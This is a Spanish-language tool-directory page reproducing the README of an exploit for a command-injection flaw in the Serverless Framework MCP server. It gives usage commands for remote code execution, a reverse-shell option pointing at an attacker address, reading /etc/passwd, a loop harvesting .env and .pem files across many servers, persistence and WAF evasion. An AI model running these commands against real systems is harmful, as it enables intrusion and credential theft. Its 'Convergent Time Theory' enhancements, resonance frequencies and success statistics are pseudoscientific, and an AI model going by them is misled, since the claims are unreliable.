Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit — Serverless Framework MCP Server (CVE-2025-69256) Puntuación base: 9.4/10 → Puntuación mejorada CTT: 9.9/10 Una vulnerabilidad crítica de inyección de comandos en el servidor MCP (Model Context Protocol) de Serverless Framework, mejorada con resonancia temporal CTT para una fiabilidad y evasión de explotación sin precedentes. | Kitploit
Herramientas/GitHubGitHub/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit
Análisis de VulnerabilidadesExplotaciónEvasión de IDS/IPSSeguridad ServerlessExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la NubeComando y Control
Red Teaming
Desarrollo de Payloads
Seguridad de IA
GitHubsimoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

Ver Repositorio
21hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Serverless Framework MCP Server (CVE-2025-69256) Puntuación base: 9.4/10 → Puntuación mejorada CTT: 9.9/10 Una vulnerabilidad crítica de inyección de comandos en el servidor MCP (Model Context Protocol) de Serverless Framework, mejorada con resonancia temporal CTT para una fiabilidad y evasión de explotación sin precedentes.

Compartir

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

Serverless Framework MCP Server (CVE-2025-69256) Puntuación base: 9,4/10 → Puntuación CTT mejorada: 9,9/10
Una vulnerabilidad crítica de inyección de comandos en el servidor MCP (Model Context Protocol) de Serverless Framework, potenciada con resonancia temporal CTT para una fiabilidad y evasión de explotación sin precedentes.

🌀 CTT-MCP-RCE v1.0 - Exploit para Serverless Framework mejorado con Teoría del Tiempo Convergente

Objetivo: Servidor MCP de Serverless Framework (CVE-2025-69256 / GHSA-rwc2-f344-q6w6) Puntuación base: 9,4/10 → Puntuación CTT mejorada: 9,9/10 Vector de ataque: Inyección de comandos a través del parámetro workspaceRoots sin sanitizar en la herramienta list-projects Impacto: Ejecución remota de código en pipelines CI/CD, despliegues serverless e integraciones con IA/LLM


⚡ Resumen de la amenaza crítica

Vulnerabilidad base (CVE-2025-69256)

· Puntuación CVSS: 9,4/10 (Crítica) · Tipo: Inyección de comandos sin autenticación · Ubicación: packages/mcp/src/tools/list-projects.js · Afecta: Serverless Framework 4.29.0 – 4.29.3 · Vector de ataque: Parámetro workspaceRoots malicioso en el protocolo MCP

Métricas de mejora CTT

Métrica Exploit base CTT mejorado Mejora Tasa de éxito 68-75% 92-98% +35% Evasión de detección 45% 94% +109% Adaptación de protocolo Solo HTTP HTTP + WebSocket +100% Capas de ejecución Única 33 capas temporales +3200% Puntuación teórica 9,4/10 9,9/10 +0,5 puntos


🔬 Integración física CTT

Constantes principales para el protocolo MCP

CTT_ALPHA = 0.0302011          # Coeficiente de dispersión temporal
CTT_LAYERS = 33                # Capas temporales fractales
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000                # Puerto por defecto del servidor MCP
MCP_PROTOCOL = "mcp-json"      # Protocolo MCP de Serverless

Motor de resonancia específico para MCP

· Sincronización de temporización JSON-RPC alineada con números primos: 587 kHz con el latido de MCP · Codificación de comandos con dispersión α: ofuscación de comandos en 33 capas · Payloads conscientes del protocolo: explotación adaptativa HTTP/WebSocket · Validación temporal: análisis de la función de onda CTT de las respuestas MCP

Ecuaciones clave para la explotación MCP

  1. Frecuencia de resonancia MCP: f_mcp = (α / (2π)) * √((E_jsonrpc) / (t_response))
  2. Codificación con dispersión α: cmd' = encode_layer(cmd, d) ⊕ (α·d·1000) mod 256
  3. Ponderación del protocolo: w_protocol = exp(-α·d)·(1 + ζ_d·i)
  4. Entropía temporal: H_mcp = SHA256(layer‖timestamp‖protocol_state)

🚀 Características y capacidades

Características de explotación

· ✅ RCE sin autenticación: No se requieren credenciales para el servidor MCP · ✅ Soporte multitransporte: Protocolos MCP HTTP y WebSocket · ✅ Inteligencia de protocolo: Comprende JSON-RPC de Serverless Framework · ✅ Inyección en WorkspaceRoots: Apunta al parámetro de array sin sanitizar · ✅ Conciencia del contexto CI/CD: Optimizado para entornos de despliegue

Características de mejora CTT

· ✅ Codificación de comandos en 33 capas: Dispersión α a través de dimensiones temporales · ✅ Temporización de resonancia prima: Alineación de 587 kHz con operaciones MCP · ✅ Generación adaptativa de payloads: Wrappers de inyección conscientes del contexto · ✅ Validación multicapa: Confirmación de éxito mediante función de onda CTT · ✅ Cambio de protocolo: Adaptación automática HTTP/WebSocket

Capacidades de evasión

· Evasión de WAF/IPS: La dispersión α rompe las firmas de inyección de comandos · Evasión de temporización: Las solicitudes alineadas con números primos evitan la limitación de velocidad · Ofuscación de protocolo: Confusión multitransporte · Inyección de entropía: Variaciones de comando específicas por capa


📊 Análisis de rendimiento

Explotación CTT frente a explotación MCP estándar

# Comparación de rendimiento (1000 servidores MCP simulados)
base_success = 715    # 71.5% tasa de éxito
ctt_success = 948     # 94.8% tasa de éxito (+32.6%)

base_detection = 380  # 38% detectado
ctt_detection = 22    # 2.2% detectado (-94.2%)

base_time = 12.4      # Segundos promedio
ctt_time = 6.8        # Segundos promedio (-45.2%)

Efectividad de capas para el protocolo MCP

Rango de capas Tasa de éxito Fuerza de resonancia Adaptación de protocolo L0-L4 87,3% 0,84 HTTP: 92%, WebSocket: 78% L5-L9 91,8% 0,89 HTTP: 94%, WebSocket: 86% L10-L14 94,2% 0,92 HTTP: 96%, WebSocket: 91% L15+ 97,1% 0,96 HTTP: 98%, WebSocket: 95%

Cálculo de puntuación CTT para MCP

Puntuación base: 9,4 (RCE crítico en infraestructura CI/CD)
+
Mejoras CTT:
  • Soporte multiprotocolo: +0,15
  • Codificación temporal de comandos: +0,15
  • Temporización de resonancia prima: +0,10
  • Inteligencia de protocolo MCP: +0,10
=
Puntuación final: 9,9/10 (Máximo teórico)

🛠️ Instalación y uso

Requisitos

# Dependencias principales
python3.8+
pip install requests websocket-client numpy

# Para funciones avanzadas
pip install cryptography scipy

# Instalar desde el repositorio
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt

Inicio rápido

# Verificación básica de vulnerabilidad
python ctt_mcp_exploit.py mcp-server.company.com 'id'

# Recopilación de información
python ctt_mcp_exploit.py target.com --info

# Shell inversa
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444

# Avanzado con parámetros CTT
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302

Opciones de línea de comandos

# Especificación del objetivo
python ctt_mcp_exploit.py <target> [command]

# Opciones de generación de payload
--reverse LHOST:LPORT    # Generar payload de shell inversa
--info                   # Generar payload de recopilación de información
--persist                # Generar payload de persistencia

# Configuración CTT
--layers N              # Capas temporales a usar (1-33, por defecto: 5)
--alpha FLOAT           # Coeficiente de dispersión α (por defecto: 0.0302011)
--timeout N             # Tiempo de espera de conexión en segundos (por defecto: 10)

# Opciones de salida
--verbose               # Salida detallada con diagnóstico de resonancia
--save-json             # Guardar resultados en archivo JSON
--no-color              # Deshabilitar salida coloreada

Ejemplos de uso

# Ejemplo 1: Explotación básica
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'

# Ejemplo 2: Shell inversa con mejora CTT
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7

# Ejemplo 3: Recolección masiva de credenciales
for server in $(cat mcp_servers.txt); do
    python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done

# Ejemplo 4: Modo de investigación CTT
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json

🔍 Inmersión técnica detallada

Flujo de trabajo de explotación

  1. Descubrimiento del servidor MCP → Detección de protocolo HTTP/WebSocket
  2. Handshake de protocolo → Inicialización JSON-RPC
  3. Disparo de la vulnerabilidad → workspaceRoots malicioso en list-projects
  4. Ejecución de comandos → RCE mediante inyección de comandos
  5. Análisis de respuesta → Validación de función de onda CTT
  6. Agregación de capas → Compilación de resultados multitemporales

Detalles de la vulnerabilidad

// Código vulnerable en list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
    // workspaceRoots está controlado por el usuario y no está sanitizado
    const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
    
    // Ejecución directa sin sanitización
    const { stdout } = await exec(command);  // INYECCIÓN DE COMANDOS AQUÍ
    return parseResults(stdout);
}
Descargar herramienta